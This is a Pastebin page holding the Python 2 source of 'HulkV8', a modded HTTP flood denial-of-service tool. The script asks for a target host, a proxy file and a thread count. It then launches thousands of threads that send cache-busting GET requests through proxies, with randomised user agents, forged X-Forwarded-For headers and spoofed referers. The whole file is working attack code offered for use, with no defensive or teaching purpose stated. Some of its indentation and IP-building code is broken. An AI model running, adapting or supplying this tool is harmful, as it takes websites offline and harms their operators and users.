Advertisement
HackerOO

[Code] HulkV8 DDos - Python

Aug 25th, 2015
11,269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.35 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #..:: > HulkV8 < ::.. Mod by KingForluz
  4.  
  5. import random
  6. import socket
  7. import threading
  8. import time
  9. import datetime
  10. import urllib2
  11. import urllib
  12. import re
  13. import sys
  14. import optparse
  15. import os
  16. import urlparse
  17.  
  18. #HulkV8 mod by KingForluz
  19. url=''
  20. host=''
  21. headers_useragents=[]
  22. headers_referers=[]
  23. keyword_top=[]
  24. request_counter=0
  25. flag=0
  26. safe=0
  27. def inc_counter():
  28.  global request_counter
  29.  request_counter+=1
  30.  
  31. def set_flag(val):
  32.  global flag
  33.  flag=val
  34.  
  35. def set_safe():
  36.  global safe
  37.  safe=1
  38.  
  39. def getUserAgent():
  40.     platform = random.choice(['Macintosh', 'Windows', 'X11'])
  41.     if platform == 'Macintosh':
  42.         os  = random.choice(['68K', 'PPC'])
  43.     elif platform == 'Windows':
  44.         os  = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  45.     elif platform == 'X11':
  46.         os  = random.choice(['Linux i686', 'Linux x86_64'])
  47.     browser = random.choice(['chrome', 'firefox', 'ie'])
  48.     if browser == 'chrome':
  49.         webkit = str(random.randint(500, 599))
  50.         version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  51.         return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  52.     elif browser == 'firefox':
  53.         currentYear = datetime.date.today().year
  54.         year = str(random.randint(2000, currentYear))
  55.         month = random.randint(1, 12)
  56.         if month < 10:
  57.             month = '0' + str(month)
  58.         else:
  59.             month = str(month)
  60.         day = random.randint(1, 30)
  61.         if day < 10:
  62.             day = '0' + str(day)
  63.         else:
  64.             day = str(day)
  65.         gecko = year + month + day
  66.         version = str(random.randint(1, 21)) + '.0'
  67.         return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  68.     elif browser == 'ie':
  69.         version = str(random.randint(1, 10)) + '.0'
  70.         engine = str(random.randint(1, 5)) + '.0'
  71.         option = random.choice([True, False])
  72.         if option == True:
  73.             token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  74.         else:
  75.             token = ''
  76.         return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  77.  
  78. def referer_list():
  79.  global headers_referers
  80.  headers_referers.append('https://www.facebook.com/sharer/sharer.php?u')
  81.  headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=')
  82.  headers_referers.append('http://www.google.com/?q=')
  83.  headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  84.  headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  85.  headers_referers.append('http://www.google.com/translate?u=')
  86.  headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  87.  headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  88.  headers_referers.append('http://www.bing.com/search?q=')
  89.  headers_referers.append('https://add.my.yahoo.com/rss?url=')
  90.  headers_referers.append('https://play.google.com/store/search?q=')
  91. headers_referers.append('http://www.google.com/?q=')
  92.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  93.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  94.         headers_referers.append('https://www.facebook.com/l.php?u=')
  95.         headers_referers.append('https://plus.google.com/share?url=')
  96.         headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  97.         headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  98.         headers_referers.append('http://host-tracker.com/check_page/?furl=')
  99.         headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  100.         headers_referers.append('http://www.google.com/translate?u=')
  101.         headers_referers.append('http://anonymouse.org/cgi-bin/anon-www.cgi/')
  102.         headers_referers.append('http://www.onlinewebcheck.com/?url=')
  103.         headers_referers.append('http://feedvalidator.org/check.cgi?url=')
  104.         headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  105.         headers_referers.append('http://www.translate.ru/url/translation.aspx?direction=er&sourceURL=')
  106.         headers_referers.append('https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&url=')
  107.         headers_referers.append('http://www.pagescoring.com/website-speed-test/?url=')
  108.         headers_referers.append('http://check-host.net/ip-info?host=')
  109.         headers_referers.append('http://check-host.net/check-ping?host=')
  110.         headers_referers.append('http://check-host.net/check-tcp?host=')
  111.         headers_referers.append('http://check-host.net/check-http?host=')
  112.         headers_referers.append('http://check-host.net/check-dns?host=')
  113.         headers_referers.append('http://www.google.com/?q=')
  114.         headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  115.         headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  116.         headers_referers.append('http://www.google.com/translate?u=')
  117.         headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  118.         headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  119.         headers_referers.append('http://www.bing.com/search?q=')
  120.         headers_referers.append('https://add.my.yahoo.com/rss?url=')
  121.         headers_referers.append('https://twitter.com/search?q=')
  122.         headers_referers.append('http://host-tracker.com/check_page/?furl=')
  123.         headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  124.         headers_referers.append('http://www.google.com/translate?u=')
  125.         headers_referers.append('http://www.onlinewebcheck.com/?url=')
  126.         headers_referers.append('http://feedvalidator.org/check.cgi?url=')
  127.         headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  128.         headers_referers.append('http://www.translate.ru/url/translation.aspx?direction=er&sourceURL=')
  129.         headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  130.         headers_referers.append('http://www.pagescoring.com/website-speed-test/?url=')
  131.         headers_referers.append('http://check-host.net/check-http?host=')
  132.         headers_referers.append('http://checksite.us/?url=')
  133.         headers_referers.append('http://jobs.bloomberg.com/search?q=')
  134.         headers_referers.append('http://www.bing.com/search?q=https://www.yandex.com/yandsearch?text=')
  135.         headers_referers.append('http://www.google.com/?q=')
  136.         headers_referers.append('https://add.my.yahoo.com/rss?url=')
  137.         headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  138.         headers_referers.append('http://www.shodanhq.com/search?q=')
  139.         headers_referers.append('https://play.google.com/store/search?q=')
  140.         headers_referers.append('http://coccoc.com/search#query=')
  141.  
  142.  return(headers_referers)
  143.  
  144. def keyword_list():
  145.  global keyword_top
  146.  keyword_top.append('Sex')
  147.  keyword_top.append('Robin Williams')
  148.  keyword_top.append('World Cup')
  149.  keyword_top.append('Ca Si Le Roi')
  150.  keyword_top.append('Ebola')
  151.  keyword_top.append('Malaysia Airlines Flight 370')
  152.  keyword_top.append('ALS Ice Bucket Challenge')
  153.  keyword_top.append('Flappy Bird')
  154.  keyword_top.append('Conchita Wurst')
  155.  keyword_top.append('ISIS')
  156.  keyword_top.append('Frozen')
  157.  keyword_top.append('014 Sochi Winter Olympics')
  158.  keyword_top.append('IPhone')
  159.  keyword_top.append('Samsung Galaxy S5')
  160.  keyword_top.append('Nexus 6')
  161.  keyword_top.append('Moto G')
  162.  keyword_top.append('Samsung Note 4')
  163.  keyword_top.append('LG G3')
  164.  keyword_top.append('Xbox One')
  165.  keyword_top.append('Apple Watch')
  166.  keyword_top.append('Nokia X')
  167.  keyword_top.append('Ipad Air')
  168.  keyword_top.append('Facebook')
  169.  keyword_top.append('Anonymous')
  170.  return(keyword_top)
  171.  
  172. def buildblock(size):
  173.  out_str = ''
  174.  for i in range(0, size):
  175.   a = random.randint(65, 90)
  176.   out_str += chr(a)
  177.  return(out_str)
  178.  
  179. def httpcall(url):
  180.  referer_list()
  181.  code=0
  182.  if url.count("?")>0:
  183.   param_joiner = "&"
  184.  else:
  185.   param_joiner = "?"
  186.  request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  187.  request.add_header('User-Agent', getUserAgent())
  188.  request.add_header('Cache-Control', 'no-cache')
  189.  request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  190.  request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
  191.  request.add_header('Keep-Alive', random.randint(110,120))
  192.  request.add_header('Connection', 'keep-alive')
  193.  request.add_header('Host',host)
  194.  
  195.  index = random.randint(0,len(listaproxy)-1)
  196.  proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  197.  opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  198.  urllib2.install_opener(opener)
  199.  try:
  200.    urllib2.urlopen(request)
  201.    if(flag==1): set_flag(0)
  202.    if(code==500): code=0
  203.  except urllib2.HTTPError, e:
  204.    set_flag(1)
  205.    code=500
  206.    time.sleep(60)
  207.  except urllib2.URLError, e:
  208.    sys.exit()
  209.  else:
  210.    inc_counter()
  211.    urllib2.urlopen(request)
  212.  return(code)
  213.  
  214. class HTTPThread(threading.Thread):
  215.  def run(self):
  216.   try:
  217.    while flag<2:
  218.     code=httpcall(url)
  219.     if (code==500) & (safe==1):
  220.      set_flag(2)
  221.   except Exception, ex:
  222.    pass
  223.  
  224. class MonitorThread(threading.Thread):
  225.  def run(self):
  226.   previous=request_counter
  227.   while flag==0:
  228.    if (previous+100<request_counter) & (previous<>request_counter):
  229.     previous=request_counter
  230.    if flag==2:
  231.     print ''
  232.  
  233. #HulkV8 mod by KingForluz
  234. def randomIp():
  235.     random.seed()
  236.     result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  237.     result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  238.     return result
  239.  
  240. def randomIpList():
  241.     random.seed()
  242.     res = ""
  243.     for ip in xrange(random.randint(8, 10)):
  244.         res = res + randomIp() + ", "
  245.     return res[0:len(res) - 2]
  246. class attacco(threading.Thread):
  247.     def run(self):
  248.      referer_list()
  249.         current = x
  250.        
  251.         if current < len(listaproxy):
  252.             proxy = listaproxy[current].split(':')
  253.         else:
  254.             proxy = random.choice(listaproxy).split(':')
  255.  
  256.         useragent = "User-Agent: " + getUserAgent() + "\r\n"
  257.         forward   = "X-Forwarded-For: " + randomIpList() + "\r\n"
  258.         referer   = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) +  "\r\n"
  259.         httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  260.  
  261.         while nload:
  262.          time.sleep(1)
  263.          pass
  264.            
  265.         while 1:
  266.             try:
  267.                 a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  268.                 a.connect((proxy[0], int(proxy[1])))
  269.                 a.send(httprequest)
  270.                 try:
  271.                     for i in xrange(4):
  272.                         a.send(httprequest)
  273.                 except:
  274.                     tts = 1
  275.  
  276.                    
  277.             except:
  278.                 proxy = random.choice(listaproxy).split(':')
  279.  
  280. #Main
  281. print '\n\t..:: > Code By KingForluz < ::..'
  282. print '\t   v ==> #~~ Super DDOS ~~# <=='
  283. # Site
  284. url = raw_input("Host: ")
  285. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  286. #Proxy
  287. in_file = open(raw_input("Listproxy: "),"r")
  288. proxyf = in_file.read()
  289.  
  290.  
  291. in_file.close()
  292. listaproxy = proxyf.split('\n')
  293. #So luong
  294. thread = input("So luong (3000): ")
  295. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  296. accept = "Accept-Encoding: gzip, deflate\r\n"
  297. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  298. nload = 1
  299. x = 0
  300. print("\tHulkV8 DDos mod by KingForluz")
  301. if url.count("/")==2:
  302.     url = url + "/"
  303.     m = re.search('http\://([^/]*)/?.*', url)
  304.     host = m.group(1)
  305. for x in xrange(int(thread + 1)):
  306.     attacco().start()
  307.     time.sleep(0.003)
  308. print "Attack ==========> Host"
  309. for x in xrange(501):
  310.  t = HTTPThread()
  311.  t.start()
  312. t = MonitorThread()
  313. t.start()
  314. nload = 0
  315. while not nload:
  316.     time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement